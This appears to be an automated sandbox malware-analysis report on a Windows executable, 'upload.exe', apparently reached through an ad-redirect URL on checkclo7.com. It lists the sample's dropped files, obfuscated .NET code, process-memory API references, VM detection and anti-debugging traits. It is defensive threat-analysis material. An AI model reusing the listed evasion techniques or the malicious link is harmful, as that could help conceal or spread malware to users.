Source: 897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp.2.dr

Static PE information: Data appended to the last section found

Abnormal high CPU Usage

Source: C:\Users\user\Downloads\upload.exe

Process Stats: CPU usage > 98%

Reads software policies

Source: C:\Users\user\Downloads\upload.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://checkclo7.com/r3eid7w/off/gooexe/?uid=4c28b58d-15e1-4415-8fa8-1cff2b84569b1&url=https%3A%2F%2Fwww.google.com%2Fbusiness%2F&gclid=CjwKCAjw9J2iBhBPEiwAErwpeZNeSSxi4Bu0ik0z9dnvKNd25cDoIz9_bM_g1ZPMpUtPHnu5bA02rBoCQTYQAvD_BwE
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3200 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5836 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3692 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6348 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Downloads\upload.exe "C:\Users\user\Downloads\upload.exe"
Source: unknown	Process created: C:\Users\user\Downloads\upload.exe "C:\Users\user\Downloads\upload.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3200 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5836 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3692 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6348 --field-trial-handle=1828,i,6709595019054803532,17404165400484744295,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Downloads\upload.exe "C:\Users\user\Downloads\upload.exe"			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Creates files inside the program directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Creates files inside the user directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp

Jump to behavior

Creates temporary files

Source: C:\Users\user\Downloads\upload.exe

File created: C:\Users\user\AppData\Local\Temp\fixed

Jump to behavior

Binary contains device paths (device paths are often used for kernel mode <-> user mode communication)

Source: chromecache_124.5.dr	Binary string: Failed to open \Device\Afd\Mio: X1&@
Source: chromecache_124.5.dr	Binary string: \Device\Afd\Mio

Classification label

Source: classification engine

Classification label: mal68.evad.win@35/20@10/10

.NET source code contains calls to encryption/decryption functions

Source: fna9LgnhkY.exe.14.dr, ODrimyib3AsamMZ0oY/qDT7cvVoWEo7or0srT.cs	Cryptographic APIs: 'CreateDecryptor'
Source: fna9LgnhkY.exe.14.dr, ODrimyib3AsamMZ0oY/qDT7cvVoWEo7or0srT.cs	Cryptographic APIs: 'CreateDecryptor'

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Creates a directory in C:\Program Files

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: C:\Users\user\Documents\Project\check_name\target\release\deps\FingerPrint_disable.pdbb source: upload.exe, 0000000E.00000000.1623568506.00007FF7C8DD2000.00000002.00000001.01000000.00000005.sdmp, chromecache_124.5.dr
Source:	Binary string: C:\Users\user\Documents\Project\check_name\target\release\deps\FingerPrint_disable.pdb source: upload.exe, 0000000E.00000000.1623568506.00007FF7C8DD2000.00000002.00000001.01000000.00000005.sdmp, chromecache_124.5.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: fna9LgnhkY.exe.14.dr, ODrimyib3AsamMZ0oY/qDT7cvVoWEo7or0srT.cs

.Net Code: stackVariable5.GetMethod("GetDelegateForFunctionPointer", V_0)

PE file contains an invalid checksum

Source: 897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp.2.dr	Static PE information: real checksum: 0x353e53 should be: 0x20dc0
Source: chromecache_124.5.dr	Static PE information: real checksum: 0x353e53 should be: 0x3563ab
Source: Unconfirmed 64460.crdownload.2.dr	Static PE information: real checksum: 0x353e53 should be: 0x3563ab

PE file contains sections with non-standard names

Source: 897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp.2.dr	Static PE information: section name: _RDATA
Source: Unconfirmed 64460.crdownload.2.dr	Static PE information: section name: _RDATA
Source: chromecache_124.5.dr	Static PE information: section name: _RDATA

Binary contains a suspicious time stamp

Source: fna9LgnhkY.exe.14.dr

Static PE information: 0xF927D000 [Mon Jun 19 04:52:16 2102 UTC]

.NET source code contains many randomly named methods

Source: fna9LgnhkY.exe.14.dr, ODrimyib3AsamMZ0oY/qDT7cvVoWEo7or0srT.cs	High entropy of concatenated method names: '.cctor', 'p1anXBD8dAJE9', 'gR1S1sGVZ', 'B7v7mbtWO', 'pJH94kWMb', 'Q58KZieBe', 'rrQGLplQl', 'iqEDNMhpp', 'Y29s3d0tW', 'NnQh1Geam'
Source: fna9LgnhkY.exe.14.dr, ??????????????????????????????/???????u3098??????????????????.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'd21C3YJ7v', '.cctor', 'DvopNWQE6GJgfet2kc', 'iRZY8d8GwuReYkkq5a', 'L2osdZol8vvMHnN8Sa', 'QJysYyCUD3v1B0OrjA', 'BcYdZ5ccCxPoQv42xt', 'naibOS24JlxLK24Mv0'
Source: fna9LgnhkY.exe.14.dr, XMG9SJPFQivF84kxkk/lrdX5GeeDblEXtB9jh.cs	High entropy of concatenated method names: 'fVNIjc5AwG', 'iJOItrkbeo', 'c0VIXGwpe4', '.ctor', 'EGcJTFbXkjpbe', '.cctor', 'VOlJGJmOjhAVytZYr8', 'CeRh8rTbrsuUCAWyWv', 'pJyG9qfBGqokSo63av', 'pBVS2mlFRZnQpcnX8g'
Source: fna9LgnhkY.exe.14.dr, iBPAU2xU4q695URJTo/lLA9xkOD55lUJliyRH.cs	High entropy of concatenated method names: 'VYTnXBDD5swb7', '.ctor', '.cctor', 'D1jXFsW5tWfMiW6VPUh', 'dt1KHSWMkQ5a4t7l2sf', 'WZamxCWbOa7ubaT97ad', 'dBbnp0Wixkl5in5HGj9', 'K3JrSdWrp2emrdCnrKq', 'RplNGIW0LKc7jgvJK6P', 'swAJWiWqATyI5xjgxFW'

Persistence and Installation Behavior

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 64460.crdownload			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 124			Jump to dropped file

Drops PE files

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp			Jump to dropped file
Source: C:\Users\user\Downloads\upload.exe	File created: C:\Users\user\AppData\Local\fna9LgnhkY\fna9LgnhkY.exe			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\upload.exe (copy)			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 124			Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 64460.crdownload			Jump to dropped file

Malware Analysis System Evasion

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\Downloads\upload.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\fna9LgnhkY\fna9LgnhkY.exe

Jump to dropped file

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Creates guard pages, often used to prevent reverse engineering and debugging

Source: C:\Users\user\Downloads\upload.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: fna9LgnhkY.exe.14.dr, ODrimyib3AsamMZ0oY/qDT7cvVoWEo7or0srT.cs

Reference to suspicious API methods: ('sO8IlrpZgu', 'LoadLibrary@kernel32'), ('YxIIfwYgs8', 'GetProcAddress@kernel32'), ('WJVI0XrjKc', 'OpenProcess@kernel32.dll'), ('nL4IJWKiQ8', 'ReadProcessMemory@kernel32.dll'), ('IpLIdJpXmf', 'WriteProcessMemory@kernel32.dll'), ('BYtICIgwiP', 'VirtualProtect@kernel32.dll'), ('jkkyWTp6m', 'VirtualAlloc@kernel32.dll'), ('EQiXvF84k', 'FindResource@kernel32.dll'), ('UhytMG9SJ', 'VirtualProtect@kernel32.dll')

Source: fna9LgnhkY.exe.14.dr, ???????u3040?????u3098??????/????????????????.cs

Reference to suspicious API methods: ('JfSffBW2w', 'GetProcAddress@kernel32.dll')

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Downloads\upload.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\fixed VolumeInformation

Jump to behavior

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.